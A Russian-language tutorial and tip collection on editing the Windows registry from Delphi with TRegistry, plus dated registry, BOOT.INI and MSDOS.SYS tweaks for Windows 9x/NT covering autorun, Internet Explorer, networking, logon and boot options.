Пошлите в систему сообщение WM_WININICHANGE и строку, содержащую название секции,
которая была изменена.
procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0,
LongInt(PChar('RegistrySection')));
end;
Алгоритм взаимодействия Delphi с системным реестром весьма прост.
Для этого нужно:
1) В области uses объявить модуль Registry
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry;
2) Объявить переменную класса TRegistry
var
a:TRegistry;
3) Создать эту переменную (имеется в виду - выделить под неё память)
a:=TRegistry.Create;
4) Переменная класса TRegistry имеет тип записи. У переменной типа "запись" есть свои свойства, свои события. И теперь, после
того как мы выделили память под эту переменную, нам сперва нужно указать с каким из основных ключей мы хотим
взаимодействовать - с помощью свойства RootKey.
a.RootKey:=HKEY_CLASSES_ROOT;
5) Далее мы открываем нужный нам ключ, используя метод OpenKey. Сначала нужно указать путь к нужному ключу (без указания
главного, т.к. он уже был указан в предыдущем пункте), а затем логическое значение, обозначающее - будет ли создан ключ в случае
его отсутствия (мы написали false - это значит, что ключ создан не будет). Например, мы хотим изменить заголовок корзины
(заметьте, обычным способом это сделать нельзя!), тогда код с указанием пути к ключу, отвечающему за эту системную папку будет
выглядеть так:
a.OpenKey('\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}',false);
6) Когда нужный ключ открыт, нам предоставляется возможность редактировать его параметры. Для этого нужно использовать
следующие методы: для внесения данных в реестр - WriteString, WriteInteger, WriteFloat, WriteDate и т.д., в зависимости от того
какого типа данные мы хотим вносить; для считывания данных из параметра - ReadString, ReadInteger, ReadFloat, ReadDate...
В данном случае, мы хотим изменить заголовок корзины, т.е. хотим внести данные в реестр, данные строкового типа - поэтому
используем метод WriteString: a.WriteString('','Мусорка');
Методу нужно указать 2 параметра: сначала имя параметра, затем заносимое значение. В качестве имени параметра мы не указываем
ничего, п.ч. в указанном нами ключе имя корзины - это параметр по умолчанию. В качестве значения можно указать всё, что угодно,
например, 'Мусорка'.
7) После того как мы сделали своё грязное дело, нужно замести следы: сначала закрыть ключ: a.CloseKey;
, а затем освободить выделенную нами память: a.Free;
ВСЁ! ТЕПЕРЬ МЫ МОЖЕТ СПОКОЙНО ГУЛЯТЬ ПО ВСЕМУ РЕЕСТРУ, И ДЕЛАТЬ ЖИЗНЬ БЕДНОГО ЛАМЕРА
НЕВЫНОСИМОЙ! В этом разделе очень злостные вещи описываться не будут, они найдут себе место а разделах наподобие
"Пакости", а здесь нашей основной задачей является освоение особенностей реестра. И так, поехали дальше...
ПРИ ИСПОЛЬЗОВАНИИ КОМПОНЕНТА TREGISTRY ПОд WINNT ПОЛЬЗОВАТЕЛЬ С ПРАВОМ ДОСТУПА НИЖЕ ЧЕМ
"АДМИНИСТРАТОР" НЕ МОЖЕТ ПОЛУЧИТЬ ДОСТУП К ИНФОРМАЦИИ РЕЕСТРА В КЛЮЧЕ HKEY_LOCAL_MACHINE.
КАК ЭТО ОБОЙТИ?
Проблема вызвана тем, что TRegistry всегда открывает реестр с параметром KEY_ALL_ACCESS (полный доступ), даже если
необходим доступ KEY_READ (только чтение). Избежать этого можно используя вместо TRegistry.OpenKey -
TRegistry.OpenKeyReadOnly
В справке про TRegistry указано неверно, что ключ открывается всегда с параметром KEY_ALL_ACCESS. В случае если открывать
через TRegistry.OpenKeyReadOnly он откроется с параметром KEY_READ.
.reg-файлы это, как и ожидалось, формат, понимаемый и поддерживаемый сугубо программой regedit.
Командная строка у неё такая:
Импорт в реестр
regedit RegData.reg
Экспорт из реестра
regedit /e RegData.reg HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Если в параметрах встречаются пробелы, их ессно надо заключать в кавычки. Код
в Delphi, который экспортирует ветвь реестра может быть например такой:
uses ShellApi, ...
procedure TMain.ExportBtnClick(Sender: TObject)
var
FileName, Key: String
begin
FileName := ... //заполнить именем файла (расширение указывать)
Key := ... //заполнить именем ключа, типа
//Key := 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion'
if ShellExecute(Handle,
'open', 'regedit.exe',
PChar(Format('/e "%s" "%s"', [FileName, Key])),
'', SW_SHOWDEFAULT) <= 32
then //если ошибка, то возвращаемый код <=32
RaiseLastWin32Error()
end
=======================
[Расширения - Аппаратные]
=======================
Включение или отключение автозапуска CD-ROM
Подача звукового сигнала динамиком PC при ошибках
Корректировка функции прокрутки IntelliMouse
Включение или отключение автозапуска CD-ROM
Вы можете изменить функцию автозапуска CD-ROM, изменяя этот параметр реестра, данная функция остановит автозапускаемые
программы, когда Вы вставляете диск CD-ROM.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
Параметр: Autorun
Тип: REG_DWORD
Значение: (0=отключено, 1=включено)
Подача звукового сигнала динамиком PC при ошибках
Если Вас раздражают гудки и шумы, исходящими из Вашего динамика PC, но Вы не можете найти способ выключить его, то
используйте этот совет.
1. Найдите ключ указанный ниже, используя Regedit.
2. Найдите параметр 'Beep', если его не существует, то создайте его выбирая, Правка | Создать | Строковый параметр и определите для
него имя 'Beep'.
3. Установите значение параметра 'Beep' равным 'Yes' для подачи звукового сигнала, или 'No' для его блокировки.
Ключ: [HKEY_CURRENT_USER\Control Panel\Sound]
Параметр: Beep
Тип: REG_SZ
Значение: 'Yes' или 'No'
Корректировка функции прокрутки IntelliMouse
Этот параметр определяет число линий, прокручиваемых при каждом вращении колеса мыши Microsoft IntelliMouse! 22, когда
клавиши или не нажаты.
Если значение этого параметра равно '0', то экран не будет прокручиваться при перемещении колеса мыши. Если значение этого
параметра большее чем число линий, видимых в окне, экран будет прокручиваться по целой странице. Чтобы Windows NT
интерпретировала все вращения колеса как команду PAGE UP или PAGE DOWN, установите значение этого параметра равным
0xFFFFFFFF.
Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop]
Параметр: WheelScrollLines
Тип: REG_SZ
Значение: 0 - 0xFFFFFFFF
===========================
[Расширения - Internet Explorer]
===========================
Как восстановить анимированную эмблему Internet Explorer
Когда Вы находитесь в Internet, используя Internet Explorer, вращение эмблемы указывает, что он активен. Этот параметр
системного реестра определяет эмблему которая будет отображена.
Чтобы восстановить поведение анимированной эмблемы Internet Explorer, удалите значения параметров "BrandBitmap" и
"SmBrandBitmap", которые находятся в указанном ниже ключе системного реестра.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
Прерывание команд FTP для Internet Explorer
Когда Вы вводите команду FTP типа "FTP ftp.regedit.com" то запускается IE 4.0 вместо основной DOS программы FTP.
Чтобы отключить такое поведение IE, используйте Regedit, для нахождения ключа указанного ниже, и удалите параметр "ftp".
Для возвращения к такому поведению IE, создайте параметр "ftp" типа REG_SZ и установите значение равным "ftp://".
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\URL\Prefixes]
Добавление фонового изображения для инструментальной панели Internet Explorer
Хотите установить свое изображение на инструментальной панели Internet Explorer? Это можно сделать с помощью настройки
системного реестра.
1. Откройте Regedit, и найдите ключ указанный ниже.
2. Добавьте новый строковый параметр "BackBitmap", и установить его значение равным пути и имени растрового файла, который
желаете использовать (например "C:\WINDOWS\CLOUDS.BMP")
3. Выйдете из Regedit, и перезагрузите Internet Explorer.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
Параметр: BackBitmap
Тип: REG_SZ
Изменение расположения файлов почты и новостей Outlook Express
Если Вы установили Windows на отдельном диске, и хотите, чтобы на этот диск не производилась запись ненужных файлов, Вы
можете изменить расположение файлов почты и новостей, сохраняемых Outlook Express на другой диск.
Установите значение ключа равным новому пути размещения папок Outlook: [HKEY_CURRENT_USER\Software\Microsoft\Outlook
Express\Store Root]. Не забудьте переместить папки "Mail" и "News" из старого места в новое.
Ключ: [Мой компьютер]
Параметр: HKEY_CURRENT_USER\Software\Microsoft\Outlook Express
Тип: REG_SZ
Скрытие значка Internet Explorer
Этот параметр скрывает значок "Internet Explorer" на Рабочем столе Windows.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoInternetIcon
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Остановка сообщения об ошибках при загрузке
Останавливает раздражающие сообщения Windows, уведомляющие Вас, что устройство не функционирует при загрузке Windows NT.
Создайте параметр 'NoPopupsOnBoot' типа REG_DWORD в ключе указанном ниже (если он еще не существует). Установите его
значение равным '1' для отключения появления всплывающих сообщений.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows]
Параметр: NoPopupsOnBoot
Тип: REG_DWORD
Значение: 1 = отключено
Изменение заголовка окна Internet Explorer
Используя этот ключ, Вы можете изменить заданный по умолчанию заголовок окна "Microsoft Internet Explorer", на что ни будь
вроде "Окно просмотра Internet Андрея Зенченко".
Используя RegEdit, откройте ключ "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main" создайте в нем новый
строковый параметр под названием "Window Title", установите его значение равным строке которую Вы хотели бы видеть в области
заголовка. Для сброса к значению по умолчанию, удалите параметр "Window Title".
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main]
Параметр: Window Title
Тип: REG_SZ
====================
[Расширения - Сетевые]
====================
Недоступный блок "Запомнить пароль" в Удаленном доступе к сети
Если у Вас проблемы с DUN при запоминании Вашего пароля, т.е. Вы видете, что опция "Запоминить пароль" отключена, то имеется
несколько способов, которые можно использовать для решения этой проблемы.
1. Удостоверьтесь, что на вашей системе установлен "Клиент для сети Microsoft". Панель управления / Сеть / Добавить... / Клиент /
Добавить.../ Microsoft / Клиент для сети Microsoft.
2. Вспомните, происходил ли запуск Windows так, чтобы при отображении диалогового окна входа в систему и запросе пароля Вы
нажимали клавишу "Esc".
3. У Вас может быть поврежден файл пароля. Произведите поиск файлов *.pwl в каталоге Windows, и переименуйте все найденные
файлы. Примечание: это действие заставит Вас создать файлы паролей заново.
4. Проверьте системный реестр:
· Запустите Редактор системного реестра (REGEDIT.EXE).
· Найдите ключ [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\Real Mode Net].
· если Вы увидите, что значение параметра "Autologon" равно "00 00 00 00" то, дважды щелкните на этом параметре, и измените
значение на "01 00 00 00 00".
· Выйдете из RegEdit и перезагрузите PC.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\Real Mode Net]
Тип: REG_DWORD
Удаление или добавление постоянно подключенных дисков к Вашему списку
Windows сохраняет названия предварительно отображенных дисков, это может создать угрозу защиты, если в списке будут
перечислены скрытые диски. Суть состоит в том, что этот ключ может использоваться для установки заданных по умолчанию
элементов такого списка. Например, для неопытных пользователей, которым требуется, отобразить только общие диски.
1. Откройте системный реестр, и найдите ключ указанный ниже.
2. В этом ключе перечислены все совместные диски, которые Windows сохранила для текущего пользователя, удалите элементы,
которые Вы не хотите сохранять. Или добавьте новые, создав новый строковый параметр, и назвав его, буквой, увеличив алфавитное
значение уже имеющихся в списке дисков. Приравняйте значение к диску, который Вы желаете совместно использовать.
Обратите внимание: Это изменение воздействует только на текущего пользователя, для того, что бы изменить значение по
умолчанию для всех пользователей, измените таким же образом ключ [KEY_USERS\.DEFAULT\Software\Microsoft\Windows
NT\CurrentVersion\Network\Persistent Connections].
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Network\Persistent Connections]
Отключение совместно используемых файлов и принтеров
Опция 'Файлы и принтеры это компьютера можно сделать общими' позволяет предоставлять услуги другим пользователям сети. Эти
функциональные возможности могут быть заблокированы, изменением этого параметра.
1. Используя Regedit, найдите ключ указанный ниже, если он не существует, создайте его.
2. Создайте два новых параметра 'NoFileSharing' и 'NoPrintSharing' типа DWORD.
3. Установите значения 'NoFileSharing' и 'NoPrintSharing' равными '1' для блокировки совместного использования, или равными '0' для
того, чтобы позволить совместное использование. Оба параметра должны быть вместе заблокированы или допустимы.
4. Выйдите из Regedit и перезагрузитесь.
Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Тип: REG_DWORD
Определение привилегированного сервера сети обеспечения
Для определение заданного по умолчанию сервера сетевого обеспечения, используйте этот параметр.
1. Используя Regedit, найдите ключ указанный ниже, если его не существует, создайте его.
2. Создайте новый строковый параметр, и назовите его 'AuthenticatingAgent', установите значение параметра равным имени Вашего
привилегированного сетевого сервера.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32\NetworkProvider]
Параметр: AuthenticatingAgent
Тип: REG_SZ
Изменение времени отключения автоматической блокировки LAN
Windows NT может быть сконфигурирован так, чтобы автоматически разъединять сеансы LAN при простое, за определенное
количество минут.
1. Откройте Ваш системный реестр, и найдите ключ указанный ниже.
2. Установите значение параметра 'Autodisconnect' равным задержке в минутах перед разъединением сеанса. Если этот параметр не
существуют, создайте новый строковый параметр под этим именем.
3. Перезагрузите Windows NT.
Обратите внимание: Для отключения функции Автоматического разъединения, установите значение равным 'Oxffffffff'.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
Параметр: Autodisconnect
Тип: REG_DWORD
Значение: от 0 до 4,294,967,295 (Oxffffffff) в минутах
Отключение функции автоматического входа в систему сетевого обеспечения
Этот параметр блокирует автоматический вход в систему на сервер сетевого обеспечения.
1. Используя Regedit, откройте ключ указанный ниже, если его не существует, создайте его.
2. Создайте новый параметр 'DisableDefaultPasswords' типа DWORD, и установите его значение равным '1' для блокировки
автоматического входа в систему, или равным '0' для использования автоматического входа в систему.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NWNP32\NetworkProvider]
Параметр: DisableDefaultPasswords
Тип: REG_DWORD
Отображение подтверждения при входе в систему домена
Когда этот параметр включен, будет отображаться диалоговое окно об успешной проверке, при входе на домен Windows NT.
Ключ: [HKEY_LOCAL_MACHINE\Network\Logon]
Параметр: DomainLogonMessage
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Требование проверки для доступа в сеть Windows
По умолчанию Windows не требует проверки сетевого имени пользователя и его пароля, для использования локальной машины
Windows. Эти функциональные возможности могут быть изменены.
Ключ: [HKEY_LOCAL_MACHINE\Network\Logon]
Параметр: MustBeValidated
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение доступа к вызову по телефону
Такая возможность существует у пользователей с установленным модемом на Windows машине, и использующими Удаленный доступ
к сети, позволяющий вызывающим соединяться с внутренней сетью. В групповой среде это может причинять ущерб защите.
Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: NoDialIn
Тип: REG_DWORD
Значение: (0 = допустить удаленный доступ, 1 = заблокировать удаленный доступ)
Отключение кэширования пароля домена
Включение этого параметра, отключает кэширование пароля NT домена, и поэтому, чтобы обратиться к дополнительным ресурсам
домена будет необходимо заново вводить пароль.
Ключ: [HKEY_LOCAL_MACHINE\Network\Logon]
Параметр: NoDomainPwdCaching
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Автоматический поиск медленных сетевых подключений
По умолчанию, Windows NT будет пытаться обнаружить задержку времени на сетевых связях, чтобы определить их быстродействие.
Эти функциональные возможности могут быть заблокированы, если Windows NT имеет проблемы, при определении быстродействия
вашего подключения.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: SlowLinkDetectEnabled
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Определение скорости подключения
Windows NT использует этот параметр, чтобы определить, что является низкоскоростным подключением, а что является
высокоскоростным подключением. Заданная по умолчанию задержка времени - 2000 миллисекунд , любое подключение, которое
будет медленнее этой установки, рассматривается как низкоскоростное подключение.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: SlowLinkTimeOut
Тип: REG_DWORD
Значение: Время (миллисекунды)
Поддержка длинных имен файлов на серверах сетевого обеспечения
Этот параметр управляет поддержкой длинных имен файлов (LFN) на серверах сетевого обеспечения, и если поддержка существует,
то он так же определяет версию сервера.
1. Используя Regedit, откройте ключ указанный ниже, если его не существует, создайте его.
2. Создайте новый параметр типа DWORD, и назовите его 'SupportLFN'.
3. Установите значение параметра 'SupportLFN' равным '0', '1' или '2' в зависимости от таблицы указанной ниже:
Описание Значения
----- -----------
0 LFN Заблокирована
1 LFN Допускается на серверах версии 3.12 и выше
2 LFN Допускается на всех серверах, которые поддерживают LFN
4. Выйдите из Regedit и перезагрузитесь.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\NWREDIR]
Параметр: SupportLFN
Тип: REG_DWORD
Отключение определяющих SAP для сетей NetWare
По умолчанию Windows посылает пакеты SAP, чтобы определить доступные совместные файлы и принтеры, когда опция 'Файлы и
принтеры это компьютера можно сделать общими' включена. Этот параметр отключает пересылку данных пакетов.
В дополнение к изменению значения параметра 'Use_Sap' Вам также может потребоваться создать другой ключ и значение:
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap] @="0"
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NcpServer\Parameters]
Параметр: Use_Sap
Тип: REG_SZ
Значение: (0 = отключено, 1 = включено)
====================
[Расширения - Windows]
====================
Упрощение использования Блокнота для открытия файла
Включение этого параметра позволит Вам использовать Блокнот для открытия файла, нажатием правой кнопки мыши на нем. Также
Блокнот будет использоваться по умолчанию для открытия файла, если никакой ассоциации к нему не существует.
1. Найдите ключ "HKEY_CLASSES_ROOT\*\shell", если он не существует, создайте его.
2. Под ключом shell создайте новый ключ, по имени open, и установите значение параметра "(По умолчанию)", равным строке
"Открыть в Блокноте".
3. Под ключом open создайте новый ключ по имени command, и установите значение параметра "(По умолчанию)" равным строке
"notepad.exe %1".
Теперь, когда Вы щелкните правой кнопкой мыши на файле, в контекстном меню одним из пунктов будет "Открыть в Блокноте".
Ключ: [HKEY_CLASSES_ROOT\*\shell]
Добавление пункта меню "Проводник" к каждой папке
Этот параметр включит в контекстное меню пункт "Проводник", при щелчке правой кнопки мыши на любой папке. При его
использовании откроется окно Проводника с этой папкой.
1. Найдите ключ [HKEY_CLASSES_ROOT\*\shell\rootexplore], если он не существует, создайте его.
2. Установите параметр "(По умолчанию)" равным строке "&Проводник ".
3. Под ключом rootexplore создайте новый ключ по имени command, и установите значение параметра "(По умолчанию)" равным
строке "explorer.exe /e,/root,/idlist, %i".
Ключ: [HKEY_CLASSES_ROOT\*\shell\rootexplore]
Управление просмотром сети
Выбор окна просмотра гарантирует, что в домене / рабочей группе имеется не более чем одно главное окно просмотра.
Определение PC, который должен является основным окном просмотра домена, устанавливается с помощью параметра
"IsDomainMaster", он может принимать значения "Yes" или "False".
Чтобы предотвратить использование Рабочей станции NT или сервера (не - PDC), как окна просмотра, установите параметр
"MaintainServerList" равным "No", а другие параметры равными "Yes", "No" или "Auto".
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters]
Тип: REG_SZ
Создание псевдонимов для программ в Windows
В системном реестре Windows есть скрытая особенность, которая позволяет Вам создавать псевдонимы для программ. Например,
псевдоним под называнием JBLOGGS.EXE фактически запускает другую программу, например NOTEPAD.EXE.
1. Используя Regedit, откройте ключ указанный ниже. В этом ключе должны быть ряд подключей.
2. Создайте новый подключ, и назовите его именем псевдонима, который Вы желаете создать (например, JBLOGGS.EXE).
3. Установите значение параметра "(По умолчанию)" равным полному пути и имени файла программы, которую Вы хотите
открывать, когда запускается псевдоним (например, 'c:\windows\notepad.exe').
4. Выйдете из Regedit, и проверьте действие выполненных изменений, используя Пуск | Выполнить.… Напечатайте имя Вашего
псевдонима (то есть JBLOGGS.EXE), должна запустится установленная для псевдонима программа, в нашем случае Блокнот.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths]
Параметр: (По умолчанию)
Тип: REG_SZ
Значение: Полное имя файла (например, c:\windows\notepad.exe)
=================
[Файлы - BOOT INI]
=================
Загрузка Windows NT в Безопасном режиме (Windows NT)
Windows NT может быть очень капризна, при добавлении нового программного обеспечения или устанавливке нового драйвера.
Этот параметр позволит Вам создать в Windows NT альтернативу Безопасного режима Windows 9x. В этом режиме выполняются
дополнительные проверки и загружаются не все драйверы.
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. Создайте новую запись для Безопасного
режима, скопировав одну из существующих записей, и вставив ее в новую строку.
3. В конце новой записи добавьте '/sos' (без кавычек), измените описание записи так, чтобы было понятно, что это Безопасный режим.
В конец строки добавьте '/basevideo' для того чтобы Windows запускалась с заданным по умолчанию драйвером VGA.
Новая запись должна выглядеть приблизительно так:
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [Safe Mode]" /sos /basevideo
4. Изменения вступят в силу при следующей перезагрузке.
Ключ: [BOOT.INI]
Отключение обнаружения устройств на Последовательных портах (Windows NT)
Windows NT пытается исследовать последовательные порты при начальной загрузке, чтобы обнаружить мышь. Это может создать
проблемы при использовании других последовательных устройств типа UPS.
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. 2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT.
3. В конце каждой записи добавьте '/NoSerialMice' (без кавычек).
Новая запись должна выглядеть приблизительно так:
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00" /NoSerialMice
4. Изменения вступят в силу при следующей перезагрузке.
Ключ: [BOOT.INI]
Включение настройки 4GT RAM NT Enterprise Edition (Windows NT)
На стандартном сервере Windows NT, пределом адресации "в процесс" является 2 гигабайта оперативной памяти. Свойство 4GT в
Windows NT Server/E увеличивает этот предел до 3 гигабайт, не предоставляя новые команды API. 4GT делает это, сокращая
потенциальную RAM, распределенную в ядре Windows NT от 2 гигабайт до 1 гигабайта.
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT.
3. В конце каждой записи добавьте '/3GB' (без кавычек).
Новая запись должна выглядеть приблизительно так:
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Server Version 4.00" /3GB
4. Изменения вступят в силу при следующей перезагрузке.
Обратите внимание: Это изменение будет эффективно только, если Вы используете Windows NT Server/E. На стандартной Windows
NT, этот параметр переместит ядро, но прикладные программы все равно будут неспособны обращаться больее чем к 2 гигабайтам.
Ключ: [BOOT.INI]
Загрузка Windows NT с заданным по умолчанию видео драйвером VGA (Windows NT)
Здесь объясняется, как создать опцию запуска безопасного режима видео VGA, особенно полезную, если Ваш видео адаптер или
драйвер создают проблемы.
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. В разделе [operating systems] перечислены все OS, которые может запустить загрузчик NT. Создайте новую запись для безопасного
режима VGA, скопировав одну из существующих записей, и вставив ее в новую строку.
3. В конце новой записи добавьте '/basevideo' (без кавычек), и измените описание записи так, чтобы было понятно, что это режим
VGA.
Новая запись должна выглядеть приблизительно так:
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo
4. Изменения вступят в силу при следующей перезагрузке.
Ключ: [BOOT.INI]
Параметр: [operating systems]
Изменение заданной по умолчанию Операционной системы (Windows NT)
Этот параметр определяет, какую операционную систему запускать по умолчанию, при начальной загрузке NT.
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение 'default=' на операционную систему, находящуюся в списке раздела [operating systems] файла BOOT.INI
Например, чтобы загрузить Windows NT с основного раздела на первом жестком диске IDE из каталога /WINNT, запись должна
выглядеть таким образом: "default=multi(0)disk(
0)rdisk(0)partition(1)\WINNT"
3. Изменения вступят в силу при следующей перезагрузке.
Ключ: [BOOT.INI]
Параметр: default
Изменение значения по умолчанию времени ожидания выбора OS (Windows NT)
Эта установка управляет временем, в течении которого Windows NT, будет ожидать выбора установленной по умолчанию OS, перед
загрузкой, которая определена в параметре "default =".
1. Измените атрибуты для файла BOOT.INI, так что бы он не был 'Только для чтения', BOOT.INI находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Изменить значение параметра "timeout" (по умолчанию равное '30'), на количество секунд времени ожидания. То есть, если Вы
хотите, что бы время ожидания было 5 секунд, измените значение так: 'timeout=5'.
3. Изменения вступят в силу при следующей перезагрузке.
Подсказка: Что бы Windows NT не загружалась, пока выбор не определен, измените Этот параметр так: 'timeout=-1'.
Ключ: [BOOT.INI]
Параметр: timeout
==================
[Файлы - MSDOS SYS]
==================
Включение/Отключение функциональных клавиш при начальной загрузке (Windows 9x)
По умолчанию Windows 9x разрешает использование функциональных клавиш при начальной загрузке, они позволяют управлять
процессом начальной загрузки. Например, нажатие F5 при отображении сообщения "Starting Windows 95 ...", загрузит Windows в
Безопасном режиме.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'BootKeys=' на 'BootKeys=1', для использования клавиш или на 'BootKeys=0', для блокировки клавиш.
3. Изменения вступят в силу при следующей перезагрузке.
Ключ: [MSDOS.SYS]
Значение: BootKeys=1 (по умолчанию)
Загрузка предыдущей Операционной системы (Windows 9x)
Если Вы обновили версию операционной системы, то можете нажимая F4, загрузить предыдущую версию операционной системы.
Эта функция может быть заблокирована.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'BootMulti=' на 'BootMulti=1', для использования клавиши F4 или на 'BootMulti=0', для ее блокировки.
3. Изменения вступят в силу при следующей перезагрузке.
Ключ: [MSDOS.SYS]
Значение: BootMulti=1 (по умолчанию)
Запуск Scandisk при начальной загрузке (Windows 9x)
Если выход из Windows 9x был произведен неправильно, или компьютер был отключен не используя диалоговое окно "Завершение
работы", то система будет пытаться запустить Scandisk при следующей загрузке. Вы можете определить, запускать или нет
автоматически Scandisk.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'AutoScan=':
· AutoScan=0: Scandisk заблокирован
· AutoScan=1: запуск Scandisk после запроса
· AutoScan=2: Scandisk запускается автоматически
3. Изменения вступят в силу при следующей перезагрузке.
Обратите внимание: Scandisk желательно всегда запускать после неправильного выхода из системы, чтобы избежать порчи файлов.
Ключ: [MSDOS.SYS]
Значение: AutoScan=1 (по умолчанию)
Отображение меню начальной загрузки Windows (Windows 9x)
По умолчанию Windows 9x не показывает меню начальной загрузки, если Вы не нажимаете клавишу F8. Меню начальной загрузки
позволит Вам загружать Windows в различных режимах, включая "Безопасный Режим" и "Режим командной строки". Вы можете
конфигурировать параметры начальной загрузки, которое будет показано автоматически при каждой начальной загрузке.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'BootMenu=' на 'BootMenu=1' для отображения меню или на 'BootMenu=0' для его блокировки.
3. Если этот параметр включен, Вы можете управлять временем ожидания, перед продолжением загрузки используя параметр
'BootMenuDelay=', установив параметр 'BootMenuDelay=' равным времени ожидания в секундах. Например, при значении
'BootMenuDelay=5' система будет ждать дальнейших команд в течении 5 секунд, прежде чем продолжить загрузку Windows.
4. Изменения вступят в силу при следующей перезагрузке.
Обратите внимание: Что бы эта возможность была функциональной необходимо также включить параметр "BootKeys", то есть
'BootKeys=1'
Значение:
BootMenu=0 (по умолчанию)
Изменение раздела [Paths] файла MSDOS.SYS (Windows 9x)
Раздел [Paths] содержит записи о местах расположения других файлов Windows 95 (типа системного реестра). Он может быть
изменен, если такие файлы были перемещены.
Раздел [Paths] может содержать следующие параметры:
HostWinBootDrv=<Корневой диск начальной загрузки>
По умолчанию: C
Цель: Определяет корневой диск для начальной загрузки.
UninstallDir=<Корневой диск начальной загрузки>
По умолчанию: C
Цель: Определяет расположение файлов W95undo.dat и W95undo.ini. Эти файлы необходимы для деинсталляции Windows 95.
